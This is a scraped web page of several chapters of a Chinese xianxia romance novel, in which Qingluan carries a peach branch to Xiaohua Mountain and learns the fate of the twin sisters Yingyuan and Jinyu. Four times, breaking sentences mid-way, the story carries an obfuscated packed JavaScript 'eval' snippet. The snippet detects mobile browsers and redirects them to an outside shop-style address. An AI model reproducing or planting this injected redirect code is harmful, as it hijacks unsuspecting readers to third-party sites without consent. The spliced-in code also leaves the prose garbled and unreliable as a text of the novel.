也不知那将婴垣送至此处的人到底有何本事,竟能说动医圣为婴垣炼体,还收她为徒。 幻境之中,师徒二人的对话还在继续。 白石老人依旧是笑呵呵的,他语气寻常地询问婴垣:“为师闭关期间,你有没有遇到什么麻烦,可曾结识新朋友了?” “没……没有。”婴垣丝毫没有意识到自己已经红了脸颊,她将头别到一边去,因着对师父有所隐瞒,她心虚的不敢看他。 白石老人却也没有揭穿她,在这个年纪有少年心事是再正常不过的了。看着婴垣这副害羞却又极力隐藏的模样,他不禁回忆起自己意气风发的少年时,一瞬间有些感慨,他当真是老了。 “婴垣,你的不足之症既已根治,为师也没有什么不放心的了。”他慈爱地注视着婴垣,抬手抚了抚她的脑袋,“那么,你便回你的来时之地吧,回你的姐姐身边去。” 婴垣诧异地啊了一声,没料到师父会这样说,不禁皱起眉头,再次攥住他的衣袖,脸上写满拒绝,“师父这是要赶婴垣走吗?我舍不得您,不想离开您。” 婴垣被送到此地时尚且年幼,关于姐姐的记忆,只在脑海中有一些模糊的印象。在她心目当中,那位没有怎么与她相处过的孪生姐姐,恐怕还不及她与祁颜亲近。 “你这是说的什么傻话,师父怎么会赶你走呢?只是婴垣,你的姐姐是这世上与你最亲近之人,她当初将你送到我这里,也是为了给你治病。如今你既已痊愈,自然该回到姐姐身边去的。”白石老人将手一翻,掌中出现许多玉简,他将这些玉简递到婴垣面前,“你看,这些玉简全都是近段时间她传讯于我,来询问你的近况的。你的姐姐一直在挂念着你,你该回去看看她了。” 婴垣低下头犹豫了许久,最后还是红着眼眶开口:“师父……可我真的舍不得您,我早已把白石山当作了自己的家。姐姐虽是我的亲人,可我觉得她很陌生,在我心里,师父才是我真正的亲人。师父, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712384|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我能不能留在这里?” 白石老人叹了口气,他的语气里有无奈,也有不舍与怜惜:“原本不欲告诉你的,可为师若是不说,你便不会知晓自己此时的处境有多危险。” 婴垣怔在原地,不明白师父为何会如此说。 “为师此次闭关,为的是求境界突破。如若成功突破境界,那么我便多出几百年可活。如若不能,我寿元将近,已没有时间尝试下一次突破,很快就将陨落”生离死别缘聚缘散,时光匆匆如流水,这些于白石老人而言,都已是司空见惯之事,他自己早已坦然接受。只是婴垣尚且年轻,于她而言,生离与死别都是太过沉重的课题,“可惜天命如此,我这最后一次突破的机会,失败了。” 果如白石老人所料,婴垣听完之后,红着眼怎么也不肯接受这个事实,不住地道:“不会的,您不会陨落的,一定还有机会。师父,有没有什么可以增添寿元的灵药,婴垣为您去采,您不会陨落的!” “现在要紧的不是为师,而是你呀。”白石老人双手扶住婴垣的肩膀,让她冷静下来听自己说:“孩子,待为师羽化之后,谁能保护你?你可知自己的真实身份,极易为你招致杀身之祸?” 见婴垣已然冷静下来,他再次叹息一声,将百万年前的一段往事缓缓道来: “百万年前,四海八荒曾遭遇大劫。相传在另外一方时空,有人破开了虚空结界,欲带领那方时空的生灵前来占领这片空间。那时我们这里的灵气尚且充沛,是修炼的净土,异族为了占领这片空间,定然会将我们驱逐或是屠杀,绝不会给我们留活路的。” “后来,幸得女娲大神炼石补天,将那一片被划破的虚空补上,这才为四海八荒的生灵免了一场祸事。而在这一场大劫之后,女娲大神用以补天的五彩石所遗留的玉屑,便成了所有人争夺的对象。” “传闻那补天的五彩石中蕴含着大奥秘大法则,但它镶嵌于虚空裂缝之中,无人能够靠近领会其中奥义。而它所遗留于世的玉屑,其中虽然没有大道法则,却也蕴含着蓬勃生机。” “相传那些玉屑中都燃烧着魂火,且魂火生生不息永不能灭。唉,长生不老是多少人梦寐以求的,修仙之途漫漫,多一些寿元,便多一分飞升超脱的可能。这也难怪他们会不择手段厮杀抢夺。” 听到这里,其实婴垣多少能够猜出一二了。但是这个真相对于她来说,委实太难接受。 “五彩石玉屑均分为母玉和子玉,由那母玉魂火中孕育而成的生灵便是子玉,每当子玉诞生,母玉魂火便会进入休眠,此时的母玉与寻常的石头别无二致。而当子玉消亡,母玉当中的魂火会重新燃烧,开始孕育新的子玉,不过燃烧着魂火的母玉拥有焚天之力,无人能够靠近。所以,大家争夺玉屑,实际上是在争夺子玉。” “婴垣,你与你的姐姐瑾瑜,就是被无数人所觊觎的子玉。” 白石老人停顿了许久,最后终于狠下心来拂袖而去,“明日你便动身离开,你的姐姐在小华山等你。” 33. 桃花盏 是夜,婴垣无法入眠,她抱膝坐在自己的小屋窗前,一动不动地望着窗外月色。 今夜月色柔和,如一汪水弥漫山间,又如一匹纱横在窗前。婴垣瞧着瞧着,忽而有所感悟,觉得人间事也同这月色一般,飘渺朦胧,捉摸不定。 就好像她原本以为自己会永远同师父和祁颜一起生活在这山间,却没有料到,如今她骤然便要离开此地,到她那并不亲近熟悉的姐姐身边去。 她是一个不容易熟悉环境的人,更不容易信任旁人。一旦认定此处就是她的家,师父就是她的亲人,这样的想法便不再容易更改。她想,她的确是很难接受那个远在小华山的姐姐的。 可是今日师父已经将话同她讲得很清楚了,她怀璧其罪,被无数人所觊觎,一旦师父陨落,此地无人再能保护她,她势必会被那些争夺子玉之人生吞活剥。而她的姐姐,听闻是这世间的至强者,修为高深莫测,保护她绰绰有余。 于理于情,她都是应该回到姐姐身边去的。 况且,即便抛开这些不论,在知晓自己的身世之后,她又如何能心安理得继续留在此地拖累师父呢? 想到这里,她认命般叹了口气。此刻除了小华山,她无处可去。 便在此时,一股熟悉得不能再熟悉的桃花香味乘着月色而来,婴垣惊喜地抬起头,但见一枚桃花瓣自窗外飞来,在空中打了个旋儿,然后摇摇晃晃落在了她的窗台。 是祁颜来了。 果然,下一秒祁颜的声音便从外面传来,“这么晚了还不歇息,明日怎还有精力炼体?” 声音还未落地,人已出现在了婴垣窗前。祁颜笑眯眯地注视着她,见她一脸颓丧,习惯性地抬起手拍了拍她的脑袋,“怎么这个表情,发生了什么事情?” 若未见到祁颜还好,婴垣觉得自己还能继续强撑,可是此刻看见了他,心中的委屈与惶惑便如洪水般倾泻而出。她瞬间泪如雨下。 祁颜见状吓了一跳,手忙脚乱地替她擦起了眼泪,“别哭呀,到底怎么了?我听说你的师父闭关结束,今晚本来是想瞧瞧你,给你贺喜来着,你怎么哭成这样?” 听祁颜提到师父,婴垣不由更加伤心,哽咽了一下,哭得更大声了。 祁颜哪里见过这种场面,简直手足无措,呆若木鸡立在窗前,不知如何是好。 想了半天,他干脆俯下身,隔着窗户将婴垣揽进怀里,紧紧抱着她,像哄小孩子般一下又一下地抚摸她的后背,“好了好了,别哭了别哭了,有什么事情跟我说,我来替你找回公道。你跟我说,是不是有人欺负你了?” 婴垣在祁颜怀里睁大了眼,她的眼里汪了一池泪水,此刻在月光的映照下,闪烁着晶莹的光。 她蜷缩在祁颜的怀里,一动也不动,像极了一只受伤的小兽,正在最亲近的人那里寻求安慰。 感受到怀里的人逐渐停止了啜泣,祁颜垂首再次问她:“同我讲讲吧,发生什么了?说不定我能帮上你呢。” 他的声音很轻很柔,好像编织了一张无形的网,将婴垣笼罩在了一个安全的区域里。 婴垣终于抬起头来,与祁颜对视,哽咽着将今日师父同她说的话全都告诉了他,“我知道师父是为了保护我,才让我回到姐姐身边去。可是祁颜,我自小便跟你们待在一起,我从来不曾去过小华山,长大之后,也从来不曾见过姐姐。我舍不得这里,舍不得师父,也……” 也舍不得你。她抽噎了一下,将这句话咽回了肚子里。 “别担心,我陪着你。”却没想到,祁颜在听完她的叙述后,几乎是不加思索地便做下了决定,“别担心,我陪你去小华山找你姐姐,好不好?” “真的吗?”婴垣的眼眶里重新蓄满了眼泪,她又惊又喜地望着祁颜。 他愿意陪她一起,这当然很好。 这简直……太好了。 月色下,她紧紧攀住祁颜的衣襟,重重地点了点头。 幻境便是在此时开始出现崩塌的迹象,方才还朦胧飘渺的月光瞬间凝结成了可以触碰的涟漪,以婴垣为中心,一圈又一圈地荡开,将幻境击出一道道的裂痕。 随着那一圈涟漪共同荡漾开来的,还有无名却又汹涌的悲伤。 那悲伤如同暴风下的海水一般翻涌,瞬间便填满了整个幻境。这由记忆丝线织就的时空幻境虽然早已失去了主人,却好像在此刻拥有了自主意识,开始驱逐青鸾和小蓝,禁止他们继续窥视婴垣识海中的往事。 关于幻境崩塌这回事,青鸾可是太熟悉了。看眼前这个情形,不到一刻钟,幻境就将彻底崩塌,届时她和小蓝会被困在已逝之人的识海,永世不得超脱。 他们必须得离开了。 小蓝显然也正有此意,它用爪子戳了戳青鸾的掌心,示意她握住自己的手,然后闭上眼睛,额间再现图腾。 缠绕在他们掌间的半透明丝线开始消失,眼前的幻境也逐渐如烟飘散。 青鸾回过头,最后望了一眼在月色中相拥的祁颜与婴垣。 她相信此刻的婴垣一定是幸福的,可是那足以击碎幻境的悲伤又是从何而来呢? 今晚对于婴垣和祁颜二人而言,一定是一个关键的转折点。因为自今晚之后,婴垣的识海中便多了一层沉重的悲伤,沉重到即便她已身死道消,那悲伤也萦绕不散。 那么,到底发生了什么? 在婴垣的记忆中,他们是找不到答案了。 不过好在,他们在那幻境中听到了一个关键的信息。 ——小华山。 这可不就是青鸾答应了婴垣的请求后,面临的最关键问题吗? 离开幻境之后,她立马将小蓝高高地举了起来,“小蓝,你太伟大了。虽然不知道后来发生了什么,但是通过这个幻境,我们知道了婴垣的姐姐瑾瑜就在小华山。如此一来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712385|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们只要将桃花枝带到小华山,交到瑾瑜手里,不就完成婴垣的嘱托了吗?” 青鸾心中已有盘算,既已知晓瑾瑜现在何处,那么只待帝骁闭关结束,她和小蓝就可以动身出发了。 帝骁在三日后结束闭关,他出关后的第一件事,便是来青鸾的住处寻她。 彼时青鸾正在给那株桃花枝培土。 桃花枝周围虽然仙泽浓厚,想必不种在土里也不妨事。但青鸾秉承着受人之托便要终人之事的想法,生怕在未抵达小华山之前,花枝因她照顾不周枯萎了。于是寻了个花盆来将桃花枝栽在里面,还每日辛辛苦苦去山间圣泉打水回来浇花,每隔一日便给桃花枝松土,保证它能吸收足够多的泉水。 帝骁推开门,看到的就是青鸾一边自言自语,一边认认真真给花松土的景象。 “你可千万要好好活着呀,你再坚持坚持,再过一段时间,我就送你去小华山了……”青鸾嘟囔着给花松土,忽然听到门响,一回头便看见帝骁正一脸匪夷所思地望着她。 “你在干嘛?”他的脸上很少出现如此丰富的表情,“哪里来的花儿?什么小华山?” “你闭关出来啦?”青鸾抬手擦了擦脸上的汗,这一擦又把手上的泥糊到了脸上去,不过她浑然不觉,兴致颇高地凑到帝骁跟前,眉飞色舞同他解释这桃花枝的来历。 听完,帝骁随意找了把椅子坐下,问她:“所以,你想去小华山?” 其实根本不必问,青鸾已经把想去两个字都写在脸上了。 帝骁沉默地注视着被青鸾栽在土里的桃花枝,不知在想些什么,半晌过后,才抬起眼皮慢慢地道:“半月之后是帝台神的生辰,届时天君将会在天宫设宴以贺,我欲在他的生辰宴上赠他东海漆吴山之博石。鸾儿,这件事情我想交给你去办。” 青鸾自然知晓帝骁何意。 原本帝骁派她去解决空桑雪患,是为了借此机会给她求一个仙籍,没想到她倒是很漂亮地解决了雪患,可转头就捅娄子杀了一个山神功过相抵。虽然帝骁替她承受了天雷之刑,可她那眼看着就要到手的仙籍还是丢了。 要知那帝台神可是天君的长子,是帝骁之父帝凌同父同母的长兄,在天宫之中地位非同一般,是众人讨好巴结的对象。最主要的是,帝台神司天下礼乐之职,不论是飞升的小仙还是封神的神籍,都由帝台管理。 命青鸾去取为帝台神贺寿之礼,委实是太看得起她了。 因此她很明白,帝骁此举想必打的是让她在诸神面前尤其是帝台神面前露个脸的主意。 巴结上帝台神,就是抱上了一个结实的大腿,若能得他提携,由他赏一个仙籍,恐怕不会有任何人有异议。 她一脸认真地听帝骁交代着,听完眨了眨眼睛,向帝骁承诺:“我去小华山没有旁的事情,只是将那束桃花交给瑾瑜,往返不过三日时间,来得及去东海取博石的。” 34. 桃花盏 说完这句话,屋里陷入一片沉静。 方才几乎都是青鸾一个人在喋喋不休地说着话,帝骁偶尔插上几句,此刻她与帝骁都不再言语,瞬间整个房间都回归了安静,安静得听得见风卷尘埃的声音。 帝骁静静地注视着青鸾,好似与她是初次相见一般,认认真真地打量着她。 青鸾站在帝骁面前,接收着他目光的审视,十分的不自然,将嘴唇抿了又抿,正准备开口说话打破尴尬,却听帝骁淡淡地问了一句,“你一定要去吗。” 虽是问句,但青鸾不太能听得出疑问的语气。她回望着帝骁的眼睛,却也无法从他的眼神中解读出任何讯息。 他说的每一句话,注视着她的每一道目光,都好像笼罩了一层灰蒙蒙的雾,令她听不真切,也看不真切。 不过,凭借着多年以来对帝骁行事风格的了解,其实青鸾大概能够猜到,他是反对自己去小华山的。之所以询问她,不过是给她一个台阶,让她自己下来,不要再无谓坚持。 从前的她一定会顺着台阶就下了,更大的可能是他们根本就走不到对峙的这一步,在帝骁提出要她去东海取博石的时候,她就答应下来,放弃去小华山的想法了。 可是如今的她并非从前的她,现在的她选择坚持自己的想法:“我既然答应了婴垣办这件事,就一定要去的。” 帝骁仍旧用他那令人看不真切的目光注视着青鸾,沉默半晌后,他抬手拭去她脸颊上的泥土,“你既想去,那便去吧。” 青鸾震惊地呆在原地,这一瞬间她不知道是自己对帝骁判断失误,还是他突然转了性子。 怎么就答应下来了?他怎么突然变得这么好说话了?青鸾还在纳闷腹诽,却听帝骁已经把话题扯到了羭次山神身上去。 “闭关之前,我曾有一事要问你。”这回帝骁的声音里终于带了点询问的意思:“以你的修为,必不是羭次山神的对手,你是如何诛杀他的?” 青鸾皱了皱眉。 虽然帝骁说的是实话,她的确打不过山神,何况山神手中还有天君法旨。但是听到帝骁说她必不是羭次山神的对手,她心里还是涌起许多的不服气。 “我用了帝宣给我的断神刃。”不服气归不服气,她还是得回答帝骁的问题:“他在匕首里封印了自己的一丝神力,那是从他的灵魂中抽取出的灵魂之力。我便是用它杀的羭次山神。” 青鸾话只说了一半,另一半被她藏在了肚子里。 她的确是用断神刃诛杀的羭次山神,可是在被山神之火焚烧和被天君法旨禁锢之时,她体内那远比山神之火更加霸道的心火开始复苏,不仅迸发出极为强大的力量,还打通了她体内经脉。 她能够感觉得到,自那之后便有一股炁随着心火一同在她体内流转。 这好像是一种不必刻意闭关,随时随地能够自主修炼的功法。如今的她不论是肉身还是精神都在日益变得强大。 此外,倘若不是因为那时太痛产生了错觉,那么心火带给她的力量还远不止于此。 她记得自己在与天君法旨对抗时,双手变成了金色,当时自她掌心散发出的光芒更胜天君法旨。 原本将她禁锢住的法旨,反而被她所禁锢。她的双手将光芒变为了实质,将天君亲赐的法旨击为了碎片。 如若不是因为那个可怖的梦境,她一定会将此事告知帝骁,这样一股未知而强大的力量日日夜夜在她体内流转,其实她有些害怕。 可是现在她并不觉得帝骁会帮她,说不定得知心火在她体内复苏,他会加快复活阿媱的计划,会在她尚不能掌控这股力量之时,剜出她的心脏。 想到这里,青鸾忍不住白了脸色。 好在帝骁听完她的话并没有心生怀疑,反而好似早就料到一般点了点头,随即似笑非笑地说了一句:“我那位堂兄待你倒是好。” 说完这句,他便不再言语,若有所思地注视了那株桃花一会儿,站起身来准备离去。 行至门口,他忽又顿住步子,化出一个罗盘交给青鸾,“此罗盘可为你指引方向,小华山并不太远,却也不近,别迷了路。另外,倘若遇到什么应付不了的危险,击碎罗盘我便能赶到,不要再像羭次山上那般鲁莽行事。” 嘱咐完这几句他便飞身离去,留下青鸾一个人拿着罗盘在风中凌乱,她不禁再一次怀疑到底是自己对帝骁的判断有误,还是他自从被雷劈了之后就转了性子。 凌乱了一会儿,她觉得自己暂时还想不出答案来,也就不再想了。 无论是因为什么,总之帝骁现在取消了布在山间的禁制,她不仅可以自由出入,手上还多了这么一个可以指引方位的罗盘,至少她不用再像去空桑山上时走那么多的冤枉路了。 更令青鸾窃喜的是,帝骁并没有询问小蓝的来历。她很清楚他一定是从进她房间的那一刻起便嗅到了小蓝的气息,但他八成以为小蓝只是她在路上随便捡来养养的小兽,因此并没有过多关注。 亏她还仔仔细细将小蓝藏了起来,还编了一堆自己非养这头小兽不可的理由,没想到都没派上用场。 帝骁离开不久,小蓝便自己从藏身之处走了出来,很通灵性地蹭了蹭桃花枝,再蹭了蹭青鸾的手。 “是了小蓝,我们该启程去小华山了。”青鸾将桃花枝、婴垣玉以及新得的罗盘往储物袋里一收,捞起小蓝便朝青要山外飞去。 这是青鸾第二次出远门,青要山之外的世界仍旧令她感到新奇兴奋。 外面世界的一草一木都与她常年栖居的青要山大不相同,山河湖海都是她不曾见过的模样,不过因着半月后便是帝台神的寿宴,她必须在那之前去东海取得博石,所以虽然对外面的世界感到好奇,却也不能耽误行程,她只能带着小蓝马不停蹄往小华山赶去。 没想到的是,一路上所见景象皆各有特色,且都与青要山大不相同,小华山的景致却与青要山有些相似。 青山绿水,草木葱郁,是一派生机勃勃的景象。 只是,山中并没有人生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712386|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的痕迹,青鸾在山里绕了许久,也不曾遇见一个人。 “小蓝,这山里看样子并没有住人呀,瑾瑜不会早就搬家了吧?”青鸾走累了,在一棵树旁蹲下,任凭小蓝怎么拿头蹭她也不肯起身。 小蓝嘤嘤叫着,将她储物袋中的桃花枝叼出来,就这样叼着花儿在青鸾身边打转。 青鸾现在已经能实现跟小蓝无障碍沟通了,她望了小蓝一会儿,疲惫的眼里重新闪烁起光芒,“小蓝,你说你能够借助桃花枝上的气息找到瑾瑜?” 小蓝疯狂点头。 青鸾噌的一下站起身来,“那我们走吧!” 于是她跟在小蓝屁股后面,随着它七拐八绕地走到了半山腰。山腰的树更多了,地形也更为复杂陡峭,好几次青鸾以为跟着小蓝走到了绝路,但每一次都柳暗花明又一村。 最后他们行至了一处悬崖边上,青鸾以为这次真的没路了,却见小蓝吸了吸鼻子,转身朝着悬崖的侧面一拐,然后便消失不见。 青鸾愣了一下,然后毅然决然跟了上去。 自从被小蓝带领着寻到了女娲宫,她现在对小蓝的寻路本领是深信不疑,别说是个悬崖了,哪怕眼前是刀山火海她也一样追随小蓝的步伐! 果然,小蓝没有辜负她的信任,带着她再次柳暗花明又一村。 这回是真的柳暗花明,转过悬崖之后,映入他们眼帘的是一大片一大片的桃花林。 青鸾从没有见过如此绚烂的桃花。 每一片花瓣都好像有了灵魂,在风中摇曳,在林间飞舞。每一朵花都无比鲜艳,天下十分春色,想必八分都在这片桃花林的枝头。 青鸾和小蓝都看呆了,怔怔地站在桃林入口,仰着脑袋看这满树芳菲。 便在此时,被小蓝叼在口中的桃花枝好似有所感应,散发出浅粉色的光芒,微微地颤动起来。 正在林间飞舞的桃花瓣与那花枝产生了共鸣,一时间林中风止,却又乱花狂舞。林间的花瓣无风自动,一股一股地汇集起来,呼啸着朝青鸾和小蓝扑来。 青鸾正欲抵挡,却见它们又忽然停了下来,在空中静止了一阵,随后齐齐落下。 落英缤纷中,有一紫衣女子踏花而来。 青鸾隔着花雨瞧着那个女子,但见姿态窈窕,步伐翩跹,踏着花瓣而来的风姿倒与幻境中的祁颜有几分相似。 女子行至青鸾面前,垂首望了一眼小蓝嘴中的桃花枝,目光似是一颤,随后戒备地望向青鸾,“你们是何人?为何擅闯桃花林?” 青鸾见那女子虽则对他们心怀戒备,可瞧着并非坏人,于是坦率地道出来意:“我们是受人之托,来小华山寻瑾瑜,将这一株桃花枝交给她的。” “瑾瑜?”女子显然识得瑾瑜,听到这个名字后眼眶瞬间便泛起了泪光,她的目光也像是被泪水浸湿了,逐渐变得柔软,“你们将祁颜送回来了……”默了片刻,她的眼神里重新浮现起戒备之色,“你方才说是受人之托来到此处,那么请问是受何人所托?” 35. 桃花盏 青鸾瞧她看见桃花枝便认出那是祁颜,且见到祁颜是这般反应,知道自己找对了人,以为说出婴垣的名号便能得到她的信任,当即道:“是瑾瑜的孪生妹妹婴垣姑娘托我们送回来的,不知姑娘可否告知瑾瑜现在何处,也好让我们完成婴垣所托。” “你说什么?是婴垣让你们送回来的?”却不料那女子听到婴垣的名号后,立刻变了脸色,将手一翻幻化出一柄长剑,不由分说便向青鸾袭去。 青鸾没有料到对方听到婴垣的名字后会突然发难,连忙向后闪避,好在反应够快,她只被对方的长剑划破了衣角。 对方并不给青鸾喘息之机,一击不成,第二剑已逼至青鸾面门。 青鸾知晓这必然是有天大的误会,一边狼狈地左躲右闪,一边秉持着能动口就不要动手的文明理念,试图用语言解决冲突,费力地冲那女子喊:“你先别急呀,你听我跟你说……” 可那女子显然已经被盛怒夺去了理智,压根不想听青鸾解释,出剑的速度越来越快,招式也愈发凌厉,每一剑都朝着青鸾的要害处刺去。 这是要取她性命的节奏呀?青鸾不再躲闪,也不再试图文明地解决这场冲突。眼下这个情景,讲理是讲不通的,唯有以暴制暴。 她按照记忆中的方法催动心火,还好一次便成功了,在双手变为金色的一瞬间,她握住了对方迎面劈来的长剑。 这一双手可以接住天君法旨的攻击,挡住对方的长剑自然是轻而易举,青鸾屈起手指稍一用力,便将长剑弹了开去。 紫衣女子后退几步卸了长剑上的力,惊愕地望向青鸾金色的双手,“你有无敌之身?” 虽则惊愕于青鸾心火的力量,但她也没有产生退却之意,再次舞了长剑欺身而上。 碰见这样一个势均力敌的对手,青鸾越战越勇,她没有祭出断神刃,而是全程用自己的力量与对方战斗。 这是她第一次感觉到,心火的力量是如此生生不息,它在战斗的过程中愈燃愈烈,不仅永远不会衰竭,而且越发强大。 原本青鸾只是双手变为了金色,但不知是不是这场战斗淬炼得心火愈加强大的缘故,那代表着力量的金色由她的掌心逐渐蔓延到了手腕。 这可以说是意外之喜,她原以为只有双手拥有免疫伤害的力量,可如今看来,也许有朝一日这金色会蔓延她的全身,届时她便真正拥有无敌之身了。 此时战况也已发生转变,方才是那紫衣女子持剑步步紧逼,青鸾节节后退,如今攻守之势异也,转为了青鸾欺身上前,那女子持剑防守。 “再来!”青鸾的身体里燃烧着以前从来不曾感受到的力量,同时燃烧起来的,还有一股陌生的斗志。 她一拳击向女子面门,那女子举剑格挡,青鸾的拳头便砸在了剑身上,砸得长剑嗡鸣。 这一幕看得小蓝热泪盈眶。 紫衣女子最开始与青鸾缠斗起来的时候,他望向青鸾的目光中还满是紧张,生怕青鸾打不过对方吃亏。可此刻看着她如此斗志昂扬,他的眼里蓄满了热泪。 他已经很久,很久,很久,不曾见过她这副模样了。 他那些久远记忆中的她的模样。 二人的打斗激起一阵又一阵的风,桃花瓣在风中浮了又沉,片刻之后,胜负已分,青鸾击飞了女子的长剑,两指一并抵在她的额间。 此刻只要她催动心火的力量,那女子便会粉身碎骨。 紫衣女子不再抵抗,却也没有露怯,而是昂首望着青鸾,一副成王败寇任凭处置的模样。 青鸾歪了歪脑袋,眨眨眼睛,“现在可以冷静下来听我说了吗?” 女子倔强地闭上眼睛,胸口剧烈起伏了一阵,好半天才平复了情绪,咬牙切齿道:“你说,我倒要听听你同婴垣是什么关系。” 她越是这副痛恨婴垣的模样,青鸾便越是好奇,婴垣到底做了什么,能让对方如此憎恶? “婴垣已经陨落了。”青鸾将已然失去光泽的婴垣玉举到那女子眼前,“今日我将桃花枝与婴垣玉一并带来,为的就是让她回到她姐姐身边去。却没有料到来到小华山会是这等情形。” “另外,你问我同婴垣是什么关系。老实说,我同她并无半分关系。我不过是个与她萍水相逢,却受到了她的庇护的人罢了。” 随后青鸾便将在羭次山发生的事一一道来,包括婴垣是如何庇护山中生灵,又是如何为了那株桃花枝而死。 “我感激她的庇护之恩,更感念于她守护山中众生,甚至为了他们不惜对抗强敌。因此答应了她的嘱托,将那桃花枝交到瑾瑜手中。”交代完事情的前因后果,青鸾转头向小蓝示意,让小蓝将桃花枝交给紫衣女子,“既然我们一见面便闹得如此不快,我也就不便贸然拜访瑾瑜姑娘了。我看姑娘您应当与瑾瑜姑娘相识,便劳烦你将这桃花枝交给她吧。” 那女子听完青鸾的话,面色忽明忽暗,眼神中浮现出极为复杂的情绪。 分明痛恨之意不减,此时却又多了些惋惜与懊悔。 她接过桃花枝,轻抚花枝上盛开的花儿。可以看得出来,不论是婴垣还是青鸾,都将祁颜照顾得很好。 青鸾觉得此间事了,转身便欲离去,却听身后的女子凄然道:“瑾瑜,我师父……她早已陨落了。” 青鸾怔了一怔,蓦然回过身来。 那女子方才还气势凌人,此刻却红着眼眶,哭成了一个泪人。 “祁颜回来了,他终于回来了,可他回来得太迟,师父再也看不到了。”哭着哭着,她似乎想到了更为伤心的事,瞬间由啜泣变为了嚎啕:“便连婴垣也陨落了,为什么,为什么她也没能活下来!” 青鸾这下可就摸不着头脑了,方才一听到婴垣的名字便怒气冲天喊打喊杀的是她,如今听说婴垣陨落,为了婴垣嚎啕大哭的人也是她。 见那女子哭得如此伤心,青鸾终是不忍,走上前去,试探着抬起手,轻轻拍了拍她的肩膀。 窥视过婴垣的记忆,对于婴垣和祁颜到了小华山之后发生的事情,其实青鸾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712387|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不是不好奇。只是初来小华山中,便与这女子狠狠打了一架,她原以为瑾瑜也在山中,想着这是她们姐妹自己的事,不欲继续掺和。却没有想到,瑾瑜竟早已陨落。 “我,我名忘忧。本为这桃花林中的一只桃花妖,得……得瑾瑜师父的教化,才有了如今的本事。”忘忧哽咽着开了口,在提到瑾瑜时尤其哽咽,几度说不了话:“师父她真的很好很好,明明已经快要修炼到超脱之境,却偏偏,偏偏……” 说到这里,她又捂住脸啜泣了一阵,略略缓解了情绪后方道,“刚才是我不对,不听你解释便大打出手,我向你赔罪。” 这女子倒也是个性情中人,青鸾坦然受了她这一礼,两人就此化干戈为玉帛。 “无论如何,你将祁颜送了回来,便是我与师父的恩人。师父虽已陨落,但她的玉身仍被我存于三生水中,你们随我来吧。”说着,忘忧抹了把眼泪,将桃花枝收起来,邀请青鸾和小蓝随她往桃林深处去。 桃花林的深处别有一番景象。 青鸾觉得眼前的路越走越开阔,有些花树后面还会出现一小片空地,空地上有一些小木屋,木屋附近或种植着药园,或晾晒着衣物。 她在心里感慨,原本以为小华山环境优美却无人居住,此刻终于看到有人在此地生活的痕迹。 再往里走,桃花树反而不再那么密集,间或出现的空地上则长满了银色的小草。 那些小草在日光下散发着星星点点的光辉,像极了夏日晚上横亘在夜空的银河,青鸾行于其间,宛如置身星海。 “真好看呀。”她忍不住感慨。 “这是师祖种下的星草,从前一直是师父精心照料着,如今便是我在照料。”忘忧解释着这漂亮小草的由来,行至星草的最中央,对着一块石头道:“我们到了。” 那块石头的顶端有一处凹陷,凹陷的地方盛了些浅碧色的水,水底卧着一块与婴垣玉一模一样的玉石。 想必那便是瑾瑜了。 忘忧取出桃花枝,恭谨地向那水中的玉石道:“师父,您看,有人将祁颜送回来了。” 说完这句话,她的眼中再次泛起泪光,“徒儿会将他栽在桃花林中,您放心吧。” 不知是不是青鸾出现了错觉,她感觉到周围的空间仿佛出现了一些波动。 “师父,您看到了是不是?”忘忧蓦地站起身来,有些茫然又有些惊喜地环顾着四周。 青鸾咽了咽口水,看来并不是她的错觉。 可惜片刻之后,那轻微的波动便消失了,忘忧失望地垂下眼眸,眼泪啪嗒啪嗒地掉在手中的桃花枝上。 “是我痴心妄想了,师父神魂俱灭,怎可能再回来。”见青鸾露出不解的神情,她转首指了指石头凹陷处浅碧色的水,“这是白石老人陨落前留下的三生水,可护人神魂不灭。我将师父的玉身存于此处,便是希望能重新凝聚起师父的魂魄。可是……可是师父当初乃是自毁……天地之间有法则,自毁者不得超脱,师父不可能回来了。” 36. 